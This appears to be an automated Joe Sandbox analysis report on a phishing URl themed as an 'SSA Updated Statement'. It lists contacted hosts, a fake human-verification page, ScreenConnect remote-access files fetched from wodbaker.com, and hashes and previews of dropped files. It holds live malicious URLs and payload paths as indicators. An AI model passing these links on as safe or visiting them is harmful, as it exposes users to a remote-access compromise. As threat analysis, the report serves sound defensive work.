http://www.w3.or	dfsvc.exe, 0000000D.00000002.2401389588.000002969BEEE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://plus.google.com	chromecache_146.1.dr	false		high
https://wodbaker.com/Bin/ScreenConnect.WindowsFileManager.exe.0	dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wodbaker.com/Bin/ScreenConnect.Client.applicationW.NBK	dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShell.e	dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://wodbaker.com/Bin/ScreenConnect.ClientServi	dfsvc.exe, 0000000D.00000002.2401389588.000002969BF58000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://clients6.google.com	chromecache_146.1.dr	false		high
http://www.fontbureau.com/designersG	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.tiro.com	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://wodbaker.com/Bi	dfsvc.exe, 0000000D.00000002.2401389588.000002969BF16000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.typography.netD	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://wodbaker.com/Bin/ScreenConnect.WindowsClient.exe.configl36	dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.xrml.org/schema/2001/11/xrml2coreS	dfsvc.exe, 0000000D.00000002.2401389588.000002969BB5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/questions/60886186/intl-datetimeformat-shows-time-being-2459	chromecache_121.1.dr, chromecache_125.1.dr	false		high
http://wodbaker.com	dfsvc.exe, 0000000D.00000002.2401389588.000002969C163000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BF58000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	chromecache_118.1.dr, chromecache_146.1.dr	false		high
https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShell.exe.configu	dfsvc.exe, 0000000D.00000002.2415067209.00000296B60E3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sakkal.com	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://domains.google.com/suggest/flow	chromecache_146.1.dr	false		high
http://www.apache.org/licenses/LICENSE-2.0	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.xrml.org/schema/2001/11/xrml2core	dfsvc.exe, 0000000D.00000002.2401389588.000002969BB5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://wodbaker.com/Bin/ScreenConnect.Core.dll	dfsvc.exe, 0000000D.00000002.2401389588.000002969BF58000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BCCB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.16.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.19.206	play.google.com	United States	15169	GOOGLEUS	false
104.21.94.21	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
217.77.14.110	wodbaker.com	United Kingdom	16362	SEVEN-ASGB	false
172.67.218.103	identitys.fraudguard.es	United States	13335	CLOUDFLARENETUS	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.16
192.168.2.23
192.168.2.13
192.168.2.15

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561231
Start date and time:	2024-11-22 22:58:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://identitys.fraudguard.es/SSA_Updated_Statement
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.evad.win@36/97@25/13
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 74.125.205.84, 172.217.19.238, 34.104.35.123, 217.20.59.35, 172.217.17.67, 192.229.221.95, 2.20.68.142, 2.20.68.136, 20.189.173.22, 142.250.181.99, 172.217.17.42, 172.217.19.202, 172.217.19.170, 142.250.181.42, 172.217.19.234, 216.58.208.234, 172.217.17.74, 142.250.181.74, 142.250.181.138, 172.217.21.42, 142.250.181.106, 172.217.19.10, 172.217.17.46, 142.250.181.10, 172.217.17.78, 52.182.143.212
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, onedsblobprdwus17.westus.cloudapp.azure.com, clientservices.googleapis.com, a767.dspw65.akamai.net, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, ocsp.edge.digicert.com, update.googleapis.com, www.gstatic.com, wu-b-net.trafficmanager.net, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ctldl.windowsupdate.com.delivery.microsoft.com, cacerts.digicert.com, ctldl.windowsupdate.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, edgedl.me.gvt1.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://identitys.fraudguard.es/SSA_Updated_Statement

Simulations

Behavior and APIs

Time	Type	Description
17:00:22	API Interceptor	12928x Sleep call for process: dfsvc.exe modified
17:00:22	API Interceptor	1x Sleep call for process: performance_metrics-pdf.Client.exe modified
17:00:33	API Interceptor	1x Sleep call for process: WerFault.exe modified

LLM Input / Output

Input	Output
URL: https://identitys.fraudguard.es Model: Joe Sandbox AI	{ "typosquatting": true, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": true, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": true, "third_party_hosting": true }
URL: https://identitys.fraudguard.es
URL: https://identitys.fraudguard.es/SSA_Updated_Statement Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verifying you are human. This may take a few seconds.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://identitys.fraudguard.es/SSA_Updated_Statement Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verify you are human by completing the action below.", "prominent_button_name": "Verify you are human", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://identitys.fraudguard.es/SSA_Updated_Statement/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Your download will start automatically. If it doesn't, please click the button below.", "prominent_button_name": "Download File", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://identitys.fraudguard.es/SSA_Updated_Statement Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://identitys.fraudguard.es/SSA_Updated_Statement Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://identitys.fraudguard.es/SSA_Updated_Statement/ Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }
URL: https://wodbaker.com/Login?Reason=0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please login to continue.", "prominent_button_name": "Login", "text_input_field_labels": [ "User Name", "Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://wodbaker.com/Login?Reason=0 Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }
URL: https://wodbaker.com/Login?Reason=0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please login to continue.", "prominent_button_name": "Login", "text_input_field_labels": [ "User Name", "Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://wodbaker.com/Login?Reason=0 Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }
URL: https://wodbaker.com/Login?Reason=0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please login to continue.", "prominent_button_name": "Login", "text_input_field_labels": [ "User Name", "Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://wodbaker.com/Login?Reason=0 Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_performance_metr_d9def8d8d1f790199d97fd48318a43e6e741633b_122ee48b_1f82610a-44a1-47b9-ba04-9f5b3bea12af\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9320564301642928
Encrypted:	false
SSDEEP:	192:ZUnxHT2oJ3E0BU/wjy0ozuiFJZ24IO8wO:GhT2oJ3/BU/wjMzuiFJY4IO8w
MD5:	82960FEE43CA2D09D3F4482967A44D9E
SHA1:	9273110D93679E69BE5982CA3CAEBA2D5CBAF52B
SHA-256:	8A667699DB25D2F8D8CCB75FFF722079947DA682248CE424CCA7C811D0362D19
SHA-512:	06B939D80B8F529B1677DD2B5B8BCE25F20B99DF91E0E437EAA3E1048D956DADF603BAC1B90068939E85DCBE5843CF60F24A371E6068083B849EA4137F99E674
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.6.7.8.6.4.2.2.6.8.4.5.8.5.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.6.7.8.6.4.2.3.0.7.9.5.8.1.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.f.8.2.6.1.0.a.-.4.4.a.1.-.4.7.b.9.-.b.a.0.4.-.9.f.5.b.3.b.e.a.1.2.a.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.0.9.6.7.3.b.9.-.d.9.5.6.-.4.e.4.b.-.8.1.1.b.-.7.3.f.8.9.0.d.d.e.2.e.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.p.e.r.f.o.r.m.a.n.c.e._.m.e.t.r.i.c.s.-.p.d.f...C.l.i.e.n.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.1.8.-.0.0.0.1.-.0.0.1.6.-.f.a.2.a.-.e.9.e.c.2.9.3.d.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.f.8.f.d.6.2.d.7.4.2.1.d.5.b.f.3.9.d.0.5.f.4.a.8.6.7.9.5.a.0.9.0.0.0.0.f.f.f.f.!.0.0.0.0.3.9.5.6.1.d.b.4.0.a.4.e.6.1.6.c.7.8.7.1.8.8.c.5.6.c.c.d.5.1.a.c.d.e.9.e.b.5.7.b.!.p.e.r.f.o.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5F4F.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Nov 22 22:00:22 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	86820
Entropy (8bit):	1.6594948072894302
Encrypted:	false
SSDEEP:	192:DHnW8XLrDZsOhI/8F/pFudD+D0W5AhCZDxXaX9hAsVz2ftDycqGkyVzFTjetCEM5:DWYjhI/4JD0W5aCnQAsVqft2mR7wMMde
MD5:	5CABC21EC31423890B6F7D973C1642E7
SHA1:	DF669BFB1BFEF5523DA5FE4AD3CB580AED80EF4A
SHA-256:	58628ECF8CD88F4907B534E414EB6955A8B81DD6090C0C259E9024090FDFDAD3
SHA-512:	E25F438802BAD0AF66B4929942CE58E4E495C1A98636CEE2F0B6B6ADC4C8C95D72A2C70E66B128B6CA19E5F5491AB4DB216617B90F0FF0B6EF8A8C973A140364
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........@g....................................T....>..........T.......8...........T............!...1..........P...........<...............................................................................eJ..............GenuineIntel............T.............@g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER602B.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8400
Entropy (8bit):	3.695825090559911
Encrypted:	false
SSDEEP:	192:R6l7wVeJpIJ68z8e6YatSUL4PkgmfKtiprO89b+nhsfkxhKm:R6lXJp26S6YASUL4PkgmfKtI+nafkr
MD5:	ED6ACDB618A1E19054F165D2DC79B5FB
SHA1:	8B31433EF64385C848E887DCC8D61E6668029F42
SHA-256:	FD5FA04BF6F1E902F194F56199DE12C3210A24D2BBD094072FAF9046E3B4152A
SHA-512:	3707DD4E3E7343AF9756BF3A00F4E8D22D31D5EC62376AA7B5B5B240FBF4D2A3AA94B84A994C14B0D4C44ACB0F215ACECFDE4BAC711221424C022B411B2B2DF0
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.9.1.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER604B.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4693
Entropy (8bit):	4.497483524799641
Encrypted:	false
SSDEEP:	48:cvIwWl8zsjJg77aI9fcWda80aKYm8M4JQVLF/+q8ns+0I3Dkd:uIjf9I75Vdl7JQ7r+v3Dkd
MD5:	577D176D5FB050B1AAA7F8A57A591603
SHA1:	32A3206D30B1DC028C7F101C82AA65123D332C19
SHA-256:	30ECDCBAF82DE854BB1C28DAF2CC48C40DFAD8113564F9CEB88E82543D5E6E4A
SHA-512:	097D9F42DF4147AA4A08CDE211D172573253CC7846502CD8AD7E7ECF0927834DEE4C99708FC12329EBC3E5212B18124DFEA2DA15B670D19B43C4DE0FEA0B6D95
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="599823" />.. <arg nm="osinsty" val="2" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Reputation:	low
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_BE4413523710330F97BEE5D4A544C42B

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	727
Entropy (8bit):	7.560922755284022
Encrypted:	false
SSDEEP:	12:5o6Tq9f5h44TkYMj5sFxdeB58gzesOz4CR4Di5MQwoPN9reCRa5r9521x6G4y1ln:56AYc4sB5esOzCi5TwiN9r21HOlYjXrO
MD5:	A2914C69101502A2CEE7E6A7C4C9E8B9
SHA1:	CDFE076BEC3A12E14C5A2BE9E606F2D7B5079DFA
SHA-256:	EC58E4DD00077E9B0BFF2DB2D69963EAF796E998BD50597CDA38EF11DBB90762
SHA-512:	9D923AD284E9BB1920819006FCA1A5AB6C1EB39C695ECC05E4ACEDC58E7C0605EB68B0A374424BC478E23E9594900A95B187239D7DF00B582B29D844530D23C4
Malicious:	false
Reputation:	low
Preview:	0..........0.....+.....0......0...0......h7..;._....a{..e.NB..20241121235439Z0s0q0I0...+.........]....^Idk...NG.X....h7..;._....a{..e.NB....`....fB.........20241121233902Z....20241128223902Z0....H................X.X.Ig.=g1]~;.<-!8\|I1.....YI ..o....~..O.p.........1.M.....Xx........T.../,..\.i....k0.^.{\|.l.R%.{.....G .s~.. ..p.!....\|&..p....j..DpR..\|.#.(.....x.?{........c.....#..l..\|.>...6c.......p.\|e:.....lY1H:.G~.n*.H...[.Z......m.L@..?<WL/.\3...=..e../..'..S....!....../._...[.N.J.1.7...KA...a..1.h..S...k.$x....b..........s.?`.g................t.....j......p.K.9!.....\|.......4..%..Nk{...TuzR.o.C....."..... #M#.../....~..hZ"..DD.L...x1.(..e./...VV....W.J.J..i{....X.....d#E.\|.J

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C56C4404C4DEF0DC88E5FCD9F09CB2F1

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.596259519827648
Encrypted:	false
SSDEEP:	48:GL3d+gG48zmf8grQcPJ27AcYG7i47V28Tl4JZG0FWk8ZHJ:GTd0PmfrrQG28cYG28CEJ
MD5:	D91299E84355CD8D5A86795A0118B6E9
SHA1:	7B0F360B775F76C94A12CA48445AA2D2A875701C
SHA-256:	46011EDE1C147EB2BC731A539B7C047B7EE93E48B9D3C3BA710CE132BBDFAC6B
SHA-512:	6D11D03F2DF2D931FAC9F47CEDA70D81D51A9116C1EF362D67B7874F91BF20915006F7AF8ECEBAEA59D2DC144536B25EA091CC33C04C9A3808EEFDC69C90E816
Malicious:	false
Reputation:	low
Preview:	0...0............@.`.L.^.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G40...210429000000Z..360428235959Z0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA10.."0....H.............0........./B.(.x.].9Y...B.3..=..p..&0...h.\..4$..KO.xC........g.RO..W.......>Mp$d....}4}L.W.kC....;....GZ..L.. %............e....I5.=Q..!xE...,.......IpB2......eh..ML..HRh....W]...e...O.,H.V.5........7.....\|...2........t..9..`.....1.......#GG...n..m.....jg-.D......;...2Z..j`T.I....\.o.&....8........o.a4\..E(.6*f(_.s.&%....\...L.b.^3........+..6y.....u.e..HP.w....P.F.aX..\|..<.(.9....S..G.u0..0.v..[K]taM?..v.X.r.)A...m&vh.A.X..&+..MY.x.J>@G_.Ps..#!Y`.dT..!..8.\|f..x8E0.O.cOL....SA\|X=G....2...l<.V.........Y0..U0...U.......0.......0...U......h7..;._....a{..e.NB0...U.#..0.......q]dL..g?....O0...U...........0...U.%..0...+.......0w..+........k0i0$..+.....0...http:/

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	727
Entropy (8bit):	7.585558332340717
Encrypted:	false
SSDEEP:	12:5onfZJxc5RlRtBfQLxlxsk9OS0iIJvg5NRCIvTuOSgRv375drGBbilzOozNcZk7U:5iJcdZ2lx0dJ2v7u9gRv375dqBbip1gZ
MD5:	DFF1A96BCC8BA610989C3E3AFF921023
SHA1:	E874669FC49FB9B997C8D03113C32A7962CAAECF
SHA-256:	F4129317FA3FC2B0598795AF66060DDFE82ABD84E6B00140AD2D9BFE1E2C1B1B
SHA-512:	C3DB712B5C10802316FF3BAB988BB8A87F05B87D385B1DB25FD7C2BD729F117AA94EF3A205C22E3BC704822895CAD09203190C04E734D4633D901F7F2F20809C
Malicious:	false
Reputation:	low
Preview:	0..........0.....+.....0......0...0..........q]dL..g?....O..20241122184215Z0s0q0I0...+........."..;F..=\@ua..........q]dL..g?....O....@.`.L.^........20241122184215Z....20241129184215Z0....H.............3..C.;....+V/..ZK._(..?..m.I.c_.4..b..\..qeE.{GQ...F.:....\t..C....].7.kRq_...n/.........{.>p.X.t'%....U.\|.qy....N....h...e.R..@....bW.N...]..:^G.w:.U#........5../~(U..{.....3X....N.KHh...D.-,..8H.[....].I.Q+...b.]..=(q...0B..5.l.p...m...O...>=.>../k...."...P..q......\.+....~.......;.k./...&..R^O.......w..}z..&.....v.....D..#~'...T...}.%..<.9.~Hhp.:...j.}.A.+v..d..s.?.8r.(8.Y...x.PZi.....6.....X"H.3.\|tDP.....j..l......B.....~xe.~j.g...4d.wq..&/z.3..g].....2..._.....n57..[..

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1428
Entropy (8bit):	7.688784034406474
Encrypted:	false
SSDEEP:	24:nIGWnSIGWnSGc9VIyy0KuiUQ+7n0TCDZJCCAyuIqwmCFUZnPQ1LSdT:nIL7LJSRQ+QgAyuxwfynPQmR
